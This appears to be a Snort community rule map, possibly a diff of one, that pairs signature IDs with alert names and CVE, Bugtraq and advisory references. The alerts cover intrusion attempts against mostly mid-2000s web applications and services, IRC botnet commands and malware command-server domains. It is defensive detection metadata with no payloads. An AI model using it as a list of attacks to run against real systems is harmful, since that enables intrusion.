+100000115 || COMMUNITY WEB-CGI PHP-Nuke Web_Links Path Disclosure Null CID || bugtraq,7589
+100000116 || COMMUNITY WEB-CGI PHP-Nuke Web_Links Path Disclosure Non-Numeric CID || bugtraq,7589
+100000117 || COMMUNITY WEB-CGI VBulliten Remote Command Execution Attempt || bugtraq,12542
+100000118 || COMMUNITY WEB-CLIENT Internet Explorer URLMON.DLL Content-Type Overflow Attempt || bugtraq,7419 || cve,2003-0113 || url,www.microsoft.com/technet/security/bulletin/MS03-015.mspx
+100000119 || COMMUNITY WEB-CLIENT Internet Explorer URLMON.DLL Content-Encoding Overflow Attempt || bugtraq,7419 || cve,2003-0113 || url,www.microsoft.com/technet/security/bulletin/MS03-015.mspx
+100000121 || COMMUNITY WEB-MISC Test Script Access
+100000122 || COMMUNITY WEB-MISC mod_jrun overflow attempt || bugtraq,11245 || cve,2004-0646
+100000123 || COMMUNITY INAPPROPRIATE preteen sex
+100000124 || COMMUNITY INAPPROPRIATE girls gone wild
+100000125 || COMMUNITY MISC Sentinel License Manager overflow attempt || cve,CAN-2005-0353 || bugtraq,12742
+100000126 || COMMUNITY MISC GoodTech Telnet Server Buffer Overflow Attempt || cve,2005-0768 || url,unsecure.altervista.org/security/goodtechtelnet.htm
+100000127 || COMMUNITY WEB-CGI Stadtaus.com PHP Form Mail Remote Script Include Attack formmail.inc.php || bugtraq,12735
+100000128 || COMMUNITY WEB-CGI Stadtaus.com PHP Form Mail Remote Script Include Attack download_center_lite.inc.php || bugtraq,12735
+100000129 || COMMUNITY WEB-MISC Cisco IOS HTTP Router Management Service Infinite Loop DoS || bugtraq,10014 || url,www.cisco.com/warp/public/707/ioshttpserverquery-pub.shtml
+100000130 || COMMUNITY WEB-MISC PY Software Active Webcam Webserver DoS || bugtraq,12778
+100000131 || COMMUNITY WEB-MISC PY Software Active Webcam Webserver DoS - Floppy Access || bugtraq,12778
+100000132 || COMMUNITY WEB-MISC Proxy Server Access
+100000133 || COMMUNITY WEB-DoS Xeneo Server Question Mark GET Request || bugtraq,7398 || url,www.northernsolutions.com/support/index.php?view=support&cmd=releasenotes&productid=1
+100000134 || COMMUNITY DOS Tcpdump rsvp attack || cve,2005-1280 || cve,2005-1281 || bugtraq,13391
+100000135 || COMMUNITY IMAP GNU Mailutils request tag format string vulnerability || cve,CAN-2005-1523 || bugtraq,13764
+100000136 || COMMUNITY IMAP GNU imapd search format string attempt || url,www.osvdb.org/displayvuln.php?osvdb_id=19306 || cve,2005-2878
+100000137 || COMMUNITY MISC BAD-SSL tcp detect
+100000138 || COMMUNITY WEB-IIS Remote IIS Server Name spoof attempt localhost || cve,2005-2678
+100000139 || COMMUNITY WEB-IIS Remote IIS Server Name spoof attempt loopback IP || cve,2005-2678
+100000140 || COMMUNITY WEB-MISC MaxDB Web Tool Remote Stack Overflow || cve,2005-0684 || url,www.idefense.com/application/poi/display?id=234&type=vulnerabilities
+100000141 || COMMUNITY WEB-MISC Ipswitch Imail web calendaring .jsp directory traversal attempt || bugtraq,13727 || cve,CAN-2005-1252
+100000142 || COMMUNITY WEB-MISC Ipswitch Imail web calendaring .jpg directory traversal attempt || bugtraq,13727 || cve,CAN-2005-1252
+100000143 || COMMUNITY WEB-MISC Ipswitch Imail web calendaring .gif directory traversal attempt || bugtraq,13727 || cve,CAN-2005-1252
+100000144 || COMMUNITY WEB-MISC Ipswitch Imail web calendaring .wav directory traversal attempt || bugtraq,13727 || cve,CAN-2005-1252
+100000145 || COMMUNITY WEB-MISC Ipswitch Imail web calendaring .css directory traversal attempt || bugtraq,13727 || cve,CAN-2005-1252
+100000146 || COMMUNITY WEB-MISC Ipswitch Imail web calendaring .htm directory traversal attempt || bugtraq,13727 || cve,CAN-2005-1252
+100000148 || COMMUNITY WEB-MISC Barracuda img.pl attempt || bugtraq,14712 || bugtraq,14710 || cve,2005-2848
+100000149 || COMMUNITY WEB-MISC Jboss % attempt || bugtraq,13985 || cve,2005-2006 || url,www.osvdb.org/displayvuln.php?osvdb_id=17403
+100000150 || COMMUNITY WEB-MISC HTTP Transfer-Content Request Smuggling attempt || bugtraq,13873 || bugtraq,14106 || cve,2005-2088 || cve,2005-2089 || cve,2005-2090 || cve,2005-2091 || cve,2005-2092 || cve,2005-2093 || cve,2005-2094 || url,www.osvdb.org/displayvuln.php?osvdb_id=17738 || nessus,18337
+100000151 || COMMUNITY WEB-PHP piranha default passwd attempt || bugtraq,1148 || cve,2000-0248 || nessus,10381
+100000152 || COMMUNITY IMAP MDaemon authentication protocol decode
+100000153 || COMMUNITY IMAP MDaemon authentication multiple packet overflow attempt || bugtraq,14317
+100000154 || COMMUNITY IMAP MDaemon authentication okay protocol decode
+100000155 || COMMUNITY IMAP MDaemon authentication overflow single packet attempt || bugtraq,14317
+100000156 || COMMUNITY WEB-CGI Twiki shell command execution || bugtraq,14834 || cve,2005-2877 || url,twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithRev
+100000157 || COMMUNITY WEB-CGI ATutor password_reminder.php SQL injection attempt || bugtraq,14831
+100000158 || COMMUNITY SIP INVITE message flooding
+100000159 || COMMUNITY SIP REGISTER message flooding
+100000160 || COMMUNITY SIP TCP/IP message flooding directed to SIP proxy
+100000161 || COMMUNITY SIP DNS No such name treshold - Abnormaly high count of No such name responses
+100000162 || COMMUNITY SIP 401 Unauthorized Flood
+100000163 || COMMUNITY SIP 407 Proxy Authentication Required Flood
+100000164 || COMMUNITY ICMP Linux DoS sctp Exploit || nessus,19777
+100000165 || COMMUNITY EXPLOIT Sentinel LM exploit || bugtraq,12742 || cve,2005-0353 || url,www.osvdb.org/displayvuln.php?osvdb_id=14605 || nessus,17326
+100000166 || COMMUNITY ORACLE TNS Listener shutdown via iSQLPlus attempt || bugtraq,15032 || url,www.red-database-security.com/advisory/oracle_isqlplus_shutdown.html
+100000167 || COMMUNITY SMTP Hydra Activity Detected || url,www.thc.org/releases.php
+100000168 || COMMUNITY WEB-ATTACKS Hydra Activity Detected || url,www.thc.org/releases.php
+100000169 || COMMUNITY WEB-ATTACKS Amap fingerprint attempt || url,www.thc.org/releases.php
+100000170 || COMMUNITY WEB-ATTACKS GFI MailSecurity Management Host Overflow Attempt Long Host Parameter || bugtraq,15081 || url,www.osvdb.org/displayvuln.php?osvdb_id=19926
+100000171 || COMMUNITY WEB-ATTACKS GFI MailSecurity Management Host Overflow Attempt Long Accept Parameter || bugtraq,15081 || url,www.osvdb.org/displayvuln.php?osvdb_id=19926
+100000172 || COMMUNITY NNTP Lynx overflow attempt || cve,2005-3120 || bugtraq,15117 || url,www.osvdb.org/displayvuln.php?osvdb_id=20019 || nessus,20035
+100000173 || COMMUNITY WEB-IIS RSA WebAgent Redirect Overflow attempt
+100000174 || COMMUNITY WEB-IIS RSA WebAgent access || cve,2005-1118 || bugtraq,13168
+100000175 || COMMUNITY DOS Ethereal slimp overflow attempt || cve,2005-3243 || url,www.ethereal.com/docs/release-notes/ethereal-0.10.13.html
+100000176 || COMMUNITY EXPLOIT HPUX LPD overflow attempt || cve,2005-3277 || bugtraq,15136
+100000177 || COMMUNITY WEB-MISC Linksys apply.cgi overflow attempt || bugtraq,14822 || cve,2005-2799 || nessus,20096 || url,www.osvdb.org/displayvuln.php?osvdb_id=19389
+100000178 || COMMUNITY WEB-MISC Hasbani-WindWeb GET DoS attempt || bugtraq,15225 || nessus,20097
+100000179 || COMMUNITY WEB-MISC SMC TRACE access || url,www.kb.cert.org/vuls/id/867593
+100000180 || COMMUNITY EXPLOIT SIP UDP spoof attempt || bugtraq,14174 || cve,2005-2182 || url,www.osvdb.org/displayvuln.php?osvdb_id=17838
+100000181 || COMMUNITY GAME FlatFrag game dos exploit || bugtraq,15287 || cve,2005-3492
+100000182 || COMMUNITY GAME Battle Carry attempt || cve,2005-3493 || bugtraq,15282
+100000183 || COMMUNITY WEB-ATTACKS SAP WAS syscmd access || url,www.cybsec.com/vuln/CYBSEC_Security_Advisory_Multiple_XSS_in_SAP_WAS.pdf
+100000184 || COMMUNITY WEB-MISC JBoss JMXInvokerServlet access || url,online.securityfocus.com/archive/1/415707
+100000185 || COMMUNITY WEB-MISC apache directory list attempt || bugtraq,3009 || cve,2001-0731
+100000186 || COMMUNITY WEB-PHP phpinfo access || bugtraq,5789 || cve,2002-1149 || url,www.osvdb.org/displayvuln.php?osvdb_id=3356
+100000187 || COMMUNITY WEB-PHP XSS attempt
+100000188 || COMMUNITY WEB-PHP Vubb Path attempt || cve,2005-3513 || url,marc.theaimsgroup.com/?l=bugtraq&m=113087965608496&w=2
+100000189 || COMMUNITY MISC streaming RTSP - realplayer || url,www.rtsp.org
+100000190 || COMMUNITY MISC streaming Windows Mediaplayer || url,www.microsoft.com
+100000191 || COMMUNITY SMTP Gnu Mailman utf8 attachement access || bugtraq,15408 || cve,2005-3573 || url,www.osvdb.org/displayvuln.php?osvdb_id=20819
+100000192 || COMMUNITY SQL-INJECTION WIZZ ForumTopicDetails Sql Injection attempt || bugtraq,15410 || url,www.osvdb.org/displayvuln.php?osvdb_id=20846
+100000193 || COMMUNITY SQL-INJECTION WIZZ ForumAuthDetails Sql Injection attempt || bugtraq,15410 || url,www.osvdb.org/displayvuln.php?osvdb_id=20845
+100000194 || COMMUNITY SQL-INJECTION WIZZ ForumReply Sql Injection attempt || bugtraq,15410 || url,www.osvdb.org/displayvuln.php?osvdb_id=20847
+100000195 || COMMUNITY WEB-PHP _SERVER HTTP_ACCEPT_LANGUAGE access || bugtraq,15414 || cve,2005-3347
+100000196 || COMMUNITY IMAP Qualcomm WorldMail SELECT dot dot attempt || cve,2005-3189 || bugtraq,15488
+100000197 || COMMUNITY ICMP undefined code
+100000198 || COMMUNITY MISC Ntp fingerprint detect || url,www.arhont.com/ViewPage7422.html?siteNodeId=3&languageId=1&contentId=-1
+100000199 || COMMUNITY MISC Novell eDirectory iMonitor access || bugtraq,14548 || cve,2005-2551 || nessus,19248 || url,www.osvdb.org/displayvuln.php?osvdb_id=18703
+100000200 || COMMUNITY WEB-MISC Symantec Brightmail Antispam default login attempt || nessus,19598 || url,securityresponse.symantec.com/avcenter/security/Content/2005.05.31a.html
+100000201 || COMMUNITY WEB-PHP CuteNews flood.db.php access || bugtraq,14869 || cve,2005-3010 || nessus,19756 || url,www.osvdb.org/displayvuln.php?osvdb_id=19478
+100000202 || COMMUNITY WEB-PHP DeluxeBB topic.php access || bugtraq,14851 || cve,2005-2989 || nessus,19750 || url,www.osvdb.org/displayvuln.php?osvdb_id=19404
+100000203 || COMMUNITY WEB-PHP DeluxeBB misc.php access || bugtraq,14851 || cve,2005-2989 || nessus,19750 || url,www.osvdb.org/displayvuln.php?osvdb_id=19405
+100000204 || COMMUNITY WEB-PHP DeluxeBB pm.php access || bugtraq,14851 || cve,2005-2989 || nessus,19750 || url,www.osvdb.org/displayvuln.php?osvdb_id=19407
+100000205 || COMMUNITY WEB-PHP DeluxeBB forums.php access || bugtraq,14851 || cve,2005-2989 || nessus,19750 || url,www.osvdb.org/displayvuln.php?osvdb_id=19406
+100000206 || COMMUNITY WEB-PHP DeluxeBB newpost.php access || bugtraq,14851 || cve,2005-2989 || nessus,19750 || url,www.osvdb.org/displayvuln.php?osvdb_id=19408
+100000207 || COMMUNITY IMAP GNU Mailutils imap4d hex attempt || cve,2005-2878 || bugtraq,14794 || nessus,19605 || url,www.osvdb.org/displayvuln.php?osvdb_id=19306
+100000208 || COMMUNITY MISC Tunneling IP over DNS with NSTX || url,nstx.dereference.de/nstx/ || url,slashdot.org/articles/00/09/10/2230242.shtml
+100000209 || COMMUNITY WEB-MISC FtpLocate flsearch.pl possible command execution attempt || bugtraq,14367 || cve,2005-2420 || nessus,19300 || url,www.osvdb.org/displayvuln.php?osvdb_id=18305
+100000210 || COMMUNITY WEB-MISC generic cmd pipe after = attempt
+100000211 || COMMUNITY WEB-PHP Gallery g2_itemId access || bugtraq,15108 || cve,2005-0222 || nessus,20015 || url,www.osvdb.org/displayvuln.php?osvdb_id=13034
+100000212 || COMMUNITY WEB-PHP Gallery g2_return access || bugtraq,15108 || cve,2005-0222 || nessus,20015 || url,www.osvdb.org/displayvuln.php?osvdb_id=13034
+100000213 || COMMUNITY WEB-PHP Gallery g2_view access || bugtraq,15108 || cve,2005-0222 || nessus,20015 || url,www.osvdb.org/displayvuln.php?osvdb_id=13034
+100000214 || COMMUNITY WEB-PHP Gallery g2_subView access || bugtraq,15108 || cve,2005-0222 || nessus,20015 || url,www.osvdb.org/displayvuln.php?osvdb_id=13034
+100000215 || COMMUNITY DOS Trend Micro ServerProtect EarthAgent attempt || cve,2005-1928 || url,www.idefense.com/application/poi/display?id=356&type=vulnerabilities
+100000216 || COMMUNITY WEB-MISC Trend Micro ServerProtect isaNVWRequest.dll access || cve,2005-1929 || url,www.idefense.com/application/poi/display?id=353&type=vulnerabilities
+100000217 || COMMUNITY WEB-MISC man2web cmd exec attempt || cve,2005-2812 || bugtraq,14747 || nessus,19591
+100000218 || COMMUNITY WEB-PHP MailGust SQL Injection email attempt || bugtraq,14933 || cve,2005-3063 || nessus,19947
+100000219 || COMMUNITY SMTP MIME-Type ms-tnef access || bugtraq,16197 || cve,2006-0002 || url,www.microsoft.com/technet/security/bulletin/MS06-003.mspx
+100000220 || COMMUNITY WEB-PHP PHP-Nuke admin_styles.php phpbb_root_path access || url,www.autistici.org/anacron-group-italy/file/txt/sile002adv.txt || url,www.osvdb.org/displayvuln.php?osvdb_id=16244
+100000221 || COMMUNITY WEB-PHP AppServ main.php appserv_root param access || url,www.osvdb.org/displayvuln.php?osvdb_id=22228
+100000222 || COMMUNITY MISC TFTP32 Get Format string attempt || url,www.securityfocus.com/archive/1/422405/30/0/threaded || url,www.critical.lt/?vulnerabilities/200
+100000223 || COMMUNITY EXPLOIT SIP UDP Softphone overflow attempt || bugtraq,16213 || cve,2006-0189
+100000224 || COMMUNITY SMTP Mozilla filename overflow attempt || bugtraq,16271
+100000225 || COMMUNITY WEB-MISC ASPSurvey Login_Validate.asp Password param access || cve,2006-0192
+100000226 || COMMUNITY VIRUS Possible BlackWorm or Nymex infected host || url,www.microsoft.com/security/encyclopedia/details.aspx?name=Win32%2fMywife.E%40mm || url,cme.mitre.org/data/list.html#24 || url,isc.sans.org/blackworm
+100000227 || COMMUNITY MISC SNMP trap Format String detected || bugtraq,16267 || cve,2006-0250 || url,www.osvdb.org/displayvuln.php?osvdb_id=22493
+100000228 || COMMUNITY WEB-CLIENT Winamp PlayList buffer overflow attempt || bugtraq,16410 || cve,2006-0476 || url,www.frsirt.com/english/advisories/2006/0361
+100000229 || COMMUNITY MISC Lotus Domino LDAP attack || bugtraq,16523 || cve,2006-0580 || url,lists.immunitysec.com/pipermail/dailydave/2006-February/002896.html
+100000230 || COMMUNITY MISC Jabber/Google Talk Outgoing Traffic || url,www.google.com/talk/
+100000231 || COMMUNITY MISC Jabber/Google Talk Outgoing Auth || url,www.google.com/talk/
+100000232 || COMMUNITY MISC Google Talk Logon || url,www.google.com/talk/
+100000233 || COMMUNITY MISC Jabber/Google Talk Outoing Message || url,www.google.com/talk/
+100000234 || COMMUNITY MISC Jabber/Google Talk Log Out || url,www.google.com/talk/
+100000235 || COMMUNITY MISC Jabber/Google Talk Logon Success || url,www.google.com/talk/
+100000236 || COMMUNITY MISC Jabber/Google Talk Incoming Message || url,www.google.com/talk/
+100000237 || COMMUNITY WEB-MISC Proxy Bypass Via Google Translation Same To And From Language || url,www.boingboing.net/2006/02/22/argonne_national_lab.html
+100000238 || COMMUNITY WEB-CLIENT IE mulitple event handler heap overflow attempt || bugtraq,17131 || cve,2006-1245 || url,www.microsoft.com/technet/security/Bulletin/MS06-013.mspx
+100000239 || COMMUNITY WEB-CLIENT IE createTextRange overflow attempt || bugtraq,17196 || cve,2006-1359 || url,www.microsoft.com/technet/security/Bulletin/MS06-013.mspx
+100000240 || COMMUNITY BOT IRC Traffic Detected By Nick Change
+100000241 || COMMUNITY BOT Internal IRC server detected
+100000242 || COMMUNITY BOT Agobot/PhatBot bot.about command
+100000243 || COMMUNITY BOT Agobot/PhatBot bot.die command
+100000244 || COMMUNITY BOT Agobot/PhatBot bot.dns command
+100000245 || COMMUNITY BOT Agobot/PhatBot bot.execute command
+100000246 || COMMUNITY BOT Agobot/PhatBot bot.id command
+100000247 || COMMUNITY BOT Agobot/PhatBot bot.nick command
+100000248 || COMMUNITY BOT Agobot/PhatBot bot.open command
+100000249 || COMMUNITY BOT Agobot/PhatBot bot.remove command
+100000250 || COMMUNITY BOT Agobot/PhatBot bot.removeallbut command
+100000251 || COMMUNITY BOT Agobot/PhatBot bot.rndnick command
+100000252 || COMMUNITY BOT Agobot/PhatBot bot.status command
+100000253 || COMMUNITY BOT Agobot/PhatBot bot.sysinfo command
+100000254 || COMMUNITY BOT Agobot/PhatBot bot.longuptime command
+100000255 || COMMUNITY BOT Agobot/PhatBot bot.highspeed command
+100000256 || COMMUNITY BOT Agobot/PhatBot bot.quit command
+100000257 || COMMUNITY BOT Agobot/PhatBot bot.flushdns command
+100000258 || COMMUNITY BOT Agobot/PhatBot bot.secure command
+100000259 || COMMUNITY BOT Agobot/PhatBot bot.unsecure command
+100000260 || COMMUNITY BOT Agobot/PhatBot bot.command command
+100000261 || COMMUNITY BOT SDBot killthread command
+100000262 || COMMUNITY BOT SDBot cdkey command
+100000263 || COMMUNITY BOT SDBot getcdkey command
+100000264 || COMMUNITY BOT SDBot rndnick command
+100000265 || COMMUNITY BOT SDBot c_rndnick command
+100000266 || COMMUNITY BOT SDBot c_nick command
+100000267 || COMMUNITY BOT SpyBot stopspy  command
+100000268 || COMMUNITY BOT SpyBot redirectspy  command
+100000269 || COMMUNITY BOT SpyBot loadclones command
+100000270 || COMMUNITY BOT SpyBot killclones command
+100000271 || COMMUNITY BOT SpyBot rawclones  command
+100000272 || COMMUNITY BOT GTBot ver command
+100000273 || COMMUNITY BOT GTBot info command
+100000274 || COMMUNITY BOT GTBot scan command
+100000275 || COMMUNITY BOT GTBot portscan command
+100000276 || COMMUNITY BOT GTBot stopscan command
+100000277 || COMMUNITY BOT GTBot packet command
+100000278 || COMMUNITY BOT GTBot bnc command
+100000279 || COMMUNITY SMTP Incoming WAB attachment || cve,2006-0014 || url,www.microsoft.com/technet/security/bulletin/MS06-016.mspx
+100000281 || COMMUNITY MISC Connect Direct Server - Session Terminated Invalid Credentials
+100000282 || COMMUNITY VIRUS Nugache connect
+100000283 || COMMUNITY VIRUS Nugache data || url,securityresponse.symantec.com/avcenter/venc/data/w32.nugache.a@mm.html
+100000284 || COMMUNITY WEB-CLIENT RealMedia invalid chunk size heap overflow attempt || bugtraq,17202 || cve,2005-2922 || url,service.real.com/realplayer/security/03162006_player/en/
+100000285 || COMMUNITY WEB-PHP ldap_var.inc.php remote file include attempt || bugtraq,17915
+100000286 || COMMUNITY WEB-PHP X Poll admin access || url,marc.theaimsgroup.com/?l=bugtraq&m=114710173409997&w=2
+100000287 || COMMUNITY WEB-PHP Claroline ldap.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000288 || COMMUNITY WEB-PHP Claroline atutor.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000289 || COMMUNITY WEB-PHP Claroline db-generic.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000290 || COMMUNITY WEB-PHP Claroline docebo.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000291 || COMMUNITY WEB-PHP Claroline dokeos.1.6.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000292 || COMMUNITY WEB-PHP Claroline dokeos.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000293 || COMMUNITY WEB-PHP Claroline ganesha.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000294 || COMMUNITY WEB-PHP Claroline mambo.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000295 || COMMUNITY WEB-PHP Claroline moodle.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000296 || COMMUNITY WEB-PHP Claroline phpnuke.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000297 || COMMUNITY WEB-PHP Claroline postnuke.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000298 || COMMUNITY WEB-PHP Claroline spip.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000299 || COMMUNITY WEB-PHP Claroline event/init_event_manager.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000300 || COMMUNITY WEB-PHP Claroline export_exe_tracking.class.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000301 || COMMUNITY SMTP McAfee WebShield SMTP bounce message format string attempt || bugtraq,16742 || cve,2006-0559
+100000302 || COMMUNITY WEB-MISC DeviceSelection.asp sRedirectUrl parameter access || bugtraq,17964
+100000303 || COMMUNITY WEB-MISC DeviceSelection.asp sCancelURL parameter access || bugtraq,17964
+100000304 || COMMUNITY WEB-PHP Gphoto index.php rep parameter remote file include attempt || url,marc.theaimsgroup.com/?l=bugtraq&m=114754094110073&w=2
+100000305 || COMMUNITY WEB-PHP Gphoto index.php image parameter remote file include attempt || url,marc.theaimsgroup.com/?l=bugtraq&m=114754094110073&w=2
+100000306 || COMMUNITY WEB-PHP Gphoto diapho.php rep parameter remote file include attempt || url,marc.theaimsgroup.com/?l=bugtraq&m=114754094110073&w=2
+100000307 || COMMUNITY WEB-PHP Gphoto diapho.php image parameter remote file include attempt || url,marc.theaimsgroup.com/?l=bugtraq&m=114754094110073&w=2
+100000308 || COMMUNITY WEB-PHP Gphoto affich.php rep parameter remote file include attempt || url,marc.theaimsgroup.com/?l=bugtraq&m=114754094110073&w=2
+100000309 || COMMUNITY WEB-PHP Gphoto affich.php image parameter remote file include attempt || url,marc.theaimsgroup.com/?l=bugtraq&m=114754094110073&w=2
+100000310 || COMMUNITY VIRUS Ginwui.B command server dns query attempt - scfzf.xicp.net || url,vil.nai.com/vil/content/v_139545.htm
+100000311 || COMMUNITY VIRUS Ginwui.B command server dns query attempt - localhosts.3322.org || url,vil.nai.com/vil/content/v_139545.htm
+100000312 || COMMUNITY VIRUS Ginwui.B POST attempt || url,vil.nai.com/vil/content/v_139545.htm
+100000313 || COMMUNITY WEB-MISC 3Com Network Supervisor directory traversal || bugtraq,14715 || cve,2005-2020
+100000314 || COMMUNITY WEB-MISC MediaWiki parser script insertion attempt || cve,2006-2611
+100000315 || COMMUNITY WEB-MISC HTTP PUT Request || url,infosecpotpourri.blogspot.com/2006/06/http-put-defacement-attempts.html
+100000316 || COMMUNITY WEB-MISC HTTP PUT Request Successful || url,infosecpotpourri.blogspot.com/2006/06/http-put-defacement-attempts.html
+100000317 || COMMUNITY WEB-MISC phpBazar classified_right.php remote file include || bugtraq,18052
+100000318 || COMMUNITY WEB-MISC phpBazar admin.php unauthorized administrative access || bugtraq,18053 || cve,2006-2527
+100000319 || COMMUNITY WEB-MISC ActualScripts direct.php remote file include || bugtraq,17597
+100000320 || COMMUNITY WEB-MISC ScozNet ScozNews functions.php remote file include || bugtraq,18027
+100000321 || COMMUNITY WEB-MISC ScozNet ScozNews help.php remote file include || bugtraq,18027
+100000322 || COMMUNITY WEB-MISC ScozNet ScozNews mail.php remote file include || bugtraq,18027
+100000323 || COMMUNITY WEB-MISC ScozNet ScozNews news.php remote file include || bugtraq,18027
+100000324 || COMMUNITY WEB-MISC ScozNet ScozNews template.php remote file include || bugtraq,18027
+100000325 || COMMUNITY WEB-MISC ScozNet ScozNews admin_cats.php remote file include || bugtraq,18027
+100000326 || COMMUNITY WEB-MISC ScozNet ScozNews admin_edit.php remote file include || bugtraq,18027
+100000327 || COMMUNITY WEB-MISC ScozNet ScozNews admin_import.php remote file include || bugtraq,18027
+100000328 || COMMUNITY WEB-MISC ScozNet ScozNews admin_templates.php remote file include || bugtraq,18027
+100000329 || COMMUNITY WEB-MISC Invision Power Board class_post.php remote file include || bugtraq,18040
+100000330 || COMMUNITY WEB-MISC Invision Power Board moderate.php remote file include || bugtraq,18040
+100000331 || COMMUNITY WEB-MISC ZixForum settings.asp access || bugtraq,18043
+100000332 || COMMUNITY WEB-MISC Artmedic Newsletter log.php access || bugtraq,18047
+100000333 || COMMUNITY WEB-MISC Artmedic Newsletter log.php access || bugtraq,18047
+100000334 || COMMUNITY WEB-MISC CaLogic Calendars reconfig.php remote file include || bugtraq,18076
+100000335 || COMMUNITY WEB-MISC CaLogic Calendars srxclr.php remote file include || bugtraq,18076
+100000336 || COMMUNITY WEB-MISC phpMyDirectory footer.php remote file include || cve,2006-2521
+100000337 || COMMUNITY WEB-MISC phpMyDirectory defaults_setup.php remote file include || cve,2006-2521
+100000338 || COMMUNITY WEB-MISC phpMyDirectory header.php remote file include || cve,2006-2521
+100000339 || COMMUNITY WEB-MISC V-Webmail core.php remote file include || url,secunia.com/advisories/20297/
+100000340 || COMMUNITY WEB-MISC V-Webmail pop3.php remote file include || url,secunia.com/advisories/20297/
+100000341 || COMMUNITY WEB-MISC DoceboLMS help.php remote file include || bugtraq,18110
+100000342 || COMMUNITY WEB-MISC DoceboLMS business.php remote file include || bugtraq,18110
+100000343 || COMMUNITY WEB-MISC DoceboLMS credits.php remote file include || bugtraq,18110
+100000344 || COMMUNITY WEB-MISC SocketMail index.php remote file include || url,secunia.com/advisories/20273/
+100000345 || COMMUNITY WEB-MISC SocketMail inc-common.php remote file include || url,secunia.com/advisories/20273/
+100000346 || COMMUNITY WEB-MISC Plume CMS prepend.php remote file include || bugtraq,16662
+100000347 || COMMUNITY WEB-MISC Ezupload Pro form.php remote file include || bugtraq,18135
+100000348 || COMMUNITY WEB-MISC Ezupload Pro customize.php remote file include || bugtraq,18135
+100000349 || COMMUNITY WEB-MISC Ezupload Pro initialize.php remote file include || bugtraq,18135
+100000350 || COMMUNITY WEB-MISC UBBThreads ubbt.inc.php remote file include || url,www.nukedx.com/?viewdoc=40
+100000351 || COMMUNITY WEB-MISC UBBThreads config[cookieprefix] remote file include || url,www.nukedx.com/?viewdoc=40
+100000352 || COMMUNITY WEB-MISC Blend Portal blend_common.php remote file include || bugtraq,18153 || url,www.nukedx.com/?viewdoc=41
+100000353 || COMMUNITY WEB-MISC tinyBB footers.php remote file include || bugtraq,18147
+100000354 || COMMUNITY WEB-MISC phpBB-Amod lang_activity.php remote file include || bugtraq,18155
+100000355 || COMMUNITY WEB-MISC eSyndiCat cron.php remote file include || url,secunia.com/advisories/20218/
+100000356 || COMMUNITY WEB-MISC BASE base_qry_common.php remote file include || url,secunia.com/advisories/20300/
+100000357 || COMMUNITY WEB-MISC BASE base_stat_common.php remote file include || url,secunia.com/advisories/20300/
+100000358 || COMMUNITY WEB-MISC BASE base_include.inc.php remote file include || url,secunia.com/advisories/20300/
+100000359 || COMMUNITY WEB-MISC Fastpublish CMS drucken.php remote file include || bugtraq,18163
+100000360 || COMMUNITY WEB-MISC Fastpublish CMS drucken2.php remote file include || bugtraq,18163
+100000361 || COMMUNITY WEB-MISC Fastpublish CMS email_an_benutzer.php remote file include || bugtraq,18163
+100000362 || COMMUNITY WEB-MISC Fastpublish CMS rechnung.php remote file include || bugtraq,18163
+100000363 || COMMUNITY WEB-MISC Fastpublish CMS search.php remote file include || bugtraq,18163
+100000364 || COMMUNITY WEB-MISC Fastpublish CMS admin.php remote file include || bugtraq,18163
+100000365 || COMMUNITY WEB-MISC phpNuke index.php remote file include || bugtraq,18186
+100000366 || COMMUNITY WEB-MISC phpNuke admin_ug_auth.php remote file include || bugtraq,18186
+100000367 || COMMUNITY WEB-MISC phpNuke admin_board.php remote file include || bugtraq,18186
+100000368 || COMMUNITY WEB-MISC phpNuke admin_disallow.php remote file include || bugtraq,18186
+100000369 || COMMUNITY WEB-MISC phpNuke admin_forumauth.php remote file include || bugtraq,18186
+100000370 || COMMUNITY WEB-MISC phpNuke admin_groups.php remote file include || bugtraq,18186
+100000371 || COMMUNITY WEB-MISC phpNuke admin_ranks.php remote file include || bugtraq,18186
+100000372 || COMMUNITY WEB-MISC phpNuke admin_styles.php remote file include || bugtraq,18186
+100000373 || COMMUNITY WEB-MISC phpNuke admin_user_ban.php remote file include || bugtraq,18186
+100000374 || COMMUNITY WEB-MISC phpNuke admin_words.php remote file include || bugtraq,18186
+100000375 || COMMUNITY WEB-MISC phpNuke admin_avatar.php remote file include || bugtraq,18186
+100000376 || COMMUNITY WEB-MISC phpNuke admin_db_utilities.php remote file include || bugtraq,18186
+100000377 || COMMUNITY WEB-MISC phpNuke admin_forum_prune.php remote file include || bugtraq,18186
+100000378 || COMMUNITY WEB-MISC phpNuke admin_forums.php remote file include || bugtraq,18186
+100000379 || COMMUNITY WEB-MISC phpNuke admin_mass_email.php remote file include || bugtraq,18186
+100000380 || COMMUNITY WEB-MISC phpNuke admin_smilies.php remote file include || bugtraq,18186
+100000381 || COMMUNITY DELETED phpNuke admin_ug_auth.php remote file include || bugtraq,18186
+100000382 || COMMUNITY WEB-MISC phpNuke admin_users.php remote file include || bugtraq,18186
+100000383 || COMMUNITY WEB-MISC OsTicket open_form.php remote file include || bugtraq,18190
